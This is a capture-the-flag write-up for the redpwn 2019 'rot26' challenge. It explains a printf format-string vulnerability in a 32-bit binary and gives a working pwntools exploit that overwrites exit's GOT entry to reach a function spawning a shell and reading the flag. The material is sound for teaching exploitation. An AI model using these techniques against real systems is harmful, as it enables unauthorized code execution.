Format string on x86 32 bit binary.
Information
- category: pwn
- points: 50
Description
nc chall2.2019.redpwn.net 4003
2 files : rot26.c and rot26 (binary)
Writeup
Analysis of the binary :
╰─🐈️ checksec --verbose --file=rot26
BIT : 32
Relro : Partial
Stack Canary : No canary found
NX : Enabled
PIE : No PIE (Important)
RPATH : No
RunPATH : No
Symbols : 78
Fortify : No
Fortified : 0
Fortifiable : 2
File : rot26
So we have an NX
enabled (no Executable Stack), but luckily we don’t have PIE.
rot26.c :
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *ualphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char *lalphabet = "abcdefghijklmnopqrstuvwxyz";
char *rot26(char *dst, char *src, size_t n)
{
int i, x;
for (i = 0; i < n; i++) {
if (isupper(src[i])) {
x = ualphabet[((src[i] - 'A') + 26) % strlen(ualphabet)];
} else if (islower(src[i])) {
x = lalphabet[((src[i] - 'a') + 26) % strlen(lalphabet)];
} else {
x = src[i];
}
dst[i] = x;
}
}
void winners_room(void)
{
puts("Please, take a shell!");
system("/bin/sh");
exit(EXIT_SUCCESS);
}
int main(void)
{
char buf[4096];
char sanitized[4096];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
fgets(buf, sizeof(buf), stdin);
rot26(sanitized, buf, sizeof(sanitized));
printf(sanitized);
exit(EXIT_FAILURE);
}
Pseudocode :
main()
buf = input(stdin)
sanitized = rot26(buf)
printf(sanitized)
exit(EXIT_FAILURE);
The rot26
is not vulnerable to an overflow because the size of the input/output is delimited by the sizeof(buf)
and sizeof(sanitized)
.
How we can exploit this program?
printf(sanitized)
This line is vulnerable to a format string attack.
╰─🐈️ nc chall2.2019.redpwn.net 4003 | connection
%d %08x %x %f | my input
-1148356 00001000 8048791 0.000000 | output (stack)
Attack Explained
Let’s see how the values of the printf
functions are pushed on the stack in a normal program.
#include <stdio.h>
int main()
{
int x = 10;
int y = 20;
printf("%d %d\n", x, y);
return 0;
}
gcc -no-pie -m32 example.c -o example
╰─🐈️ gdb -q ./example
pwndbg> disass main
Dump of assembler code for function main:
0x08049176 <+0>: lea ecx,[esp+0x4]
0x0804917a <+4>: and esp,0xfffffff0
0x0804917d <+7>: push DWORD PTR [ecx-0x4]
0x08049180 <+10>: push ebp
0x08049181 <+11>: mov ebp,esp
0x08049183 <+13>: push ebx
0x08049184 <+14>: push ecx
0x08049185 <+15>: sub esp,0x10
0x08049188 <+18>: call 0x80491c9 <__x86.get_pc_thunk.ax>
0x0804918d <+23>: add eax,0x2e73
0x08049192 <+28>: mov DWORD PTR [ebp-0x10],0xa
0x08049199 <+35>: mov DWORD PTR [ebp-0xc],0x14
0x080491a0 <+42>: sub esp,0x4
0x080491a3 <+45>: push DWORD PTR [ebp-0xc]
0x080491a6 <+48>: push DWORD PTR [ebp-0x10]
0x080491a9 <+51>: lea edx,[eax-0x1ff8]
0x080491af <+57>: push edx
0x080491b0 <+58>: mov ebx,eax
0x080491b2 <+60>: call 0x8049040 <printf@plt>
0x080491b7 <+65>: add esp,0x10
0x080491ba <+68>: mov eax,0x0
0x080491bf <+73>: lea esp,[ebp-0x8]
0x080491c2 <+76>: pop ecx
0x080491c3 <+77>: pop ebx
0x080491c4 <+78>: pop ebp
0x080491c5 <+79>: lea esp,[ecx-0x4]
0x080491c8 <+82>: ret
End of assembler dump.
pwndbg> b *0x080491b2 # Breakpoint before the call to printf
Breakpoint 1 at 0x80491b2
pwndbg> r
pwndbg> x/10x $esp # print stack
# Stack address address of value of value of
# | "%d %d \n" x y
# v
0xffffcee0: 0x0804a008 0x0000000a 0x00000014 0x0804918d
0xffffcef0: 0x00000001 0xffffcfb4 0x0000000a 0x00000014
0xffffcf00: 0xffffcf20 0x00000000
pwndbg> x/s 0x0804a008
0x804a008: "%d %d\n" # check the value in this address
So in this case we push values from right to left (as ecdl).
From right to left : y, x, address of format string.
What happen if we have control of the format string and we use "%08x %08x %08x %08x %08x"
without any parameters (no x and y) ?
Let’s see :
#include <stdio.h>
int main()
{
printf("%08x %08x %08x %08x %08x\n");
return 0;
}
Recompile using gcc and see what happens:
╰─🐈️ ./example
ffffd034 ffffd03c 0804918a ffffcfa0 00000000
Are this this values familiar? Let’s analyze it with gdb.
pwndbg> disass main
Dump of assembler code for function main:
0x08049176 <+0>: lea ecx,[esp+0x4]
0x0804917a <+4>: and esp,0xfffffff0
0x0804917d <+7>: push DWORD PTR [ecx-0x4]
0x08049180 <+10>: push ebp
0x08049181 <+11>: mov ebp,esp
0x08049183 <+13>: push ebx
0x08049184 <+14>: push ecx
0x08049185 <+15>: call 0x80491b2 <__x86.get_pc_thunk.ax>
0x0804918a <+20>: add eax,0x2e76
0x0804918f <+25>: sub esp,0xc
0x08049192 <+28>: lea edx,[eax-0x1ff8]
0x08049198 <+34>: push edx
0x08049199 <+35>: mov ebx,eax
0x0804919b <+37>: call 0x8049040 <printf@plt>
0x080491a0 <+42>: add esp,0x10
0x080491a3 <+45>: mov eax,0x0
0x080491a8 <+50>: lea esp,[ebp-0x8]
0x080491ab <+53>: pop ecx
0x080491ac <+54>: pop ebx
0x080491ad <+55>: pop ebp
0x080491ae <+56>: lea esp,[ecx-0x4]
0x080491b1 <+59>: ret
End of assembler dump.
pwndbg> b *0x0804919b # breakpoint on call to printf
Breakpoint 1 at 0x804919b
pwndbg> x/10x $esp
# Stack address address of random value random value random value
# | "%08x..08x\n"
# v
0xffffcef0: 0x0804a008 0xffffcfb4 0xffffcfbc 0x0804918a
0xffffcf00: 0xffffcf20 0x00000000 0x00000000 0xf7dc38b9
0xffffcf10: 0xf7f7fe24 0xf7f7fe24
pwndbg> x/s 0x0804a008
0x804a008: "%08x %08x %08x %08x %08x\n"
pwndbg> c
Continuing.
ffffcfb4 ffffcfbc 0804918a ffffcf20 00000000
[Inferior 1 (process 8443) exited normally]
Well the printf functions printed the value that were on the stacks (didn’t print the first value because the first value is the format string address).
How can this be dangerous?
Well using the glorious %n
.
Example :
int main()
{
int x = 0;
printf("aaaaaaaaaaa%n", &x);
return 0;
}
This format doesn’t print anything, but it writes inside the address specified by x
the numbers of characters written before the %n
. In this case 11.
Now we have the ability to overwrite any values in memory (functions, pointer, variables etc..).
We can use this trick to change the value of the exit
function, and let it points to the winners_room
function.
Payload
Found address of exit in GOT :
╰─🐈️ gdb -q ./rot26
pwndbg> disass main
Dump of assembler code for function main:
0x08048777 <+0>: lea ecx,[esp+0x4]
0x0804877b <+4>: and esp,0xfffffff0
0x0804877e <+7>: push DWORD PTR [ecx-0x4]
0x08048781 <+10>: push ebp
0x08048782 <+11>: mov ebp,esp
0x08048784 <+13>: push ebx
0x08048785 <+14>: push ecx
0x08048786 <+15>: sub esp,0x2010
0x0804878c <+21>: call 0x8048540 <__x86.get_pc_thunk.bx>
0x08048791 <+26>: add ebx,0x186f
0x08048797 <+32>: mov eax,gs:0x14
0x0804879d <+38>: mov DWORD PTR [ebp-0xc],eax
0x080487a0 <+41>: xor eax,eax
0x080487a2 <+43>: mov eax,DWORD PTR [ebx-0x4]
0x080487a8 <+49>: mov eax,DWORD PTR [eax]
0x080487aa <+51>: sub esp,0x8
0x080487ad <+54>: push 0x0
0x080487af <+56>: push eax
0x080487b0 <+57>: call 0x8048450 <setbuf@plt>
0x080487b5 <+62>: add esp,0x10
0x080487b8 <+65>: mov eax,DWORD PTR [ebx-0x8]
0x080487be <+71>: mov eax,DWORD PTR [eax]
0x080487c0 <+73>: sub esp,0x8
0x080487c3 <+76>: push 0x0
0x080487c5 <+78>: push eax
0x080487c6 <+79>: call 0x8048450 <setbuf@plt>
0x080487cb <+84>: add esp,0x10
0x080487ce <+87>: mov eax,DWORD PTR [ebx-0x10]
0x080487d4 <+93>: mov eax,DWORD PTR [eax]
0x080487d6 <+95>: sub esp,0x8
0x080487d9 <+98>: push 0x0
0x080487db <+100>: push eax
0x080487dc <+101>: call 0x8048450 <setbuf@plt>
0x080487e1 <+106>: add esp,0x10
0x080487e4 <+109>: mov eax,DWORD PTR [ebx-0x8]
0x080487ea <+115>: mov eax,DWORD PTR [eax]
0x080487ec <+117>: sub esp,0x4
0x080487ef <+120>: push eax
0x080487f0 <+121>: push 0x1000
0x080487f5 <+126>: lea eax,[ebp-0x200c]
0x080487fb <+132>: push eax
0x080487fc <+133>: call 0x8048470 <fgets@plt>
0x08048801 <+138>: add esp,0x10
0x08048804 <+141>: sub esp,0x4
0x08048807 <+144>: push 0x1000
0x0804880c <+149>: lea eax,[ebp-0x200c]
0x08048812 <+155>: push eax
0x08048813 <+156>: lea eax,[ebp-0x100c]
0x08048819 <+162>: push eax
0x0804881a <+163>: call 0x8048606 <rot26>
0x0804881f <+168>: add esp,0x10
0x08048822 <+171>: sub esp,0xc
0x08048825 <+174>: lea eax,[ebp-0x100c]
0x0804882b <+180>: push eax
0x0804882c <+181>: call 0x8048460 <printf@plt>
0x08048831 <+186>: add esp,0x10
0x08048834 <+189>: sub esp,0xc
0x08048837 <+192>: push 0x1
0x08048839 <+194>: call 0x80484a0 <exit@plt>
pwndbg> disass 0x80484a0
Dump of assembler code for function exit@plt:
# PLT GOT.PLT
0x080484a0 <+0>: jmp DWORD PTR ds:0x804a020
0x080484a6 <+6>: push 0x28
0x080484ab <+11>: jmp 0x8048440
End of assembler dump.
pwndbg> x 0x804a020
# effective address
# of exit once resolved
# |
# v
0x804a020 <exit@got.plt>: 0x080484a6
pwndbg> p winners_room
$1 = {<text variable, no debug info>} 0x8048737 <winners_room>
Now we need to change the value inside 0x804a020
(pushing it into the stack)
to 0x8048737
.
The first thing to do is to compute the offset between the output of the
printf and our input.
╰─🐈️ gdb -q ./rot26
╭─meowmeow@larch ~/CeSeNA/pump/ctf/redpwn-2019/rot26 ‹master*›
╰─🐈️ python -c 'print("AAAA" + "%08x" * 20)' > poc.txt
╭─meowmeow@larch ~/CeSeNA/pump/ctf/redpwn-2019/rot26 ‹master*›
╰─🐈️ exit
pwndbg> b *0x0804882c
Breakpoint 1 at 0x804882c
pwndbg> r < poc.txt
Breakpoint *0x0804882c
pwndbg> x/20x $esp
# Stack format string 1 2 3
# address address (buf)
# | (sanitized)
# v
0xffffaee0: 0xffffbefc 0xffffaefc 0x00001000 0x08048791
# 4 5 6 7
0xffffaef0: 0x00000000 0x00000000 0x00000000 0x41414141
0xffffaf00: 0x78383025 0x78383025 0x78383025 0x78383025
0xffffaf10: 0x78383025 0x78383025 0x78383025 0x78383025
0xffffaf20: 0x78383025 0x78383025 0x78383025 0x78383025
pwndbg> x/s 0xffffbefc
0xffffbefc: "AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x\n"
pwndbg> c # I put dots by myself
Continuing.
AAAA.ffffaefc.00001000.08048791.00000000.00000000.00000000.4141414178383025783830257838302578383025783830257838302578383025783830257838302578383025783830257838302578383025
And we can confirm that the offset that we need is 7
.
Remember that using "%x$d"
, (where x is a number) we can print the value in the x
offset.
Example:
#include <stdio.h>
int main()
{
int x = 10;
int y = 20;
printf("%2$d and %1$d", x, y);
return 0;
}
Output:
╰─🐈️./example
20 and 10
Now to simplify the creation of the payload I used a special table which allows to write any value in any address I want using a format string.
Where addr
is the address where we want to write. HOB
(High Order Byte) and LOB
(Low Order Byte) are the value that we wants to write.
In our case:
addr
= 0x0804a020 # (exit_got)
value
= 0x08048737 # (winners_room)
HOB
= 0x0804
LOB
= 0x8737
Exploit
from pwn import *
# winners_room --> shell
winners_room = 0x8048737
# address of exit in got
exit_got = 0x804a020
conn = remote('chall2.2019.redpwn.net', 4003)
hob = 0x0804
lob = 0x8737
# exit_got + 2 || exit_got --> where || means concatenation
first = "\x22\xa0\x04\x08\x20\xa0\x04\x08"
second = "%."+str(hob-8)+"x"
# offset
third = "%7$hn"
fourth = "%."+str(lob-hob)+"x"
# offset + 1
fifth = "%8$hn"
payload = first+second+third+fourth+fifth
print(payload)
conn.sendline(payload)
log.info(conn.recvline())
log.info(conn.recvline())
conn.sendline('cat flag.txt')
log.info(conn.recvline())
$ python2 exploit.py
Flag
flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?}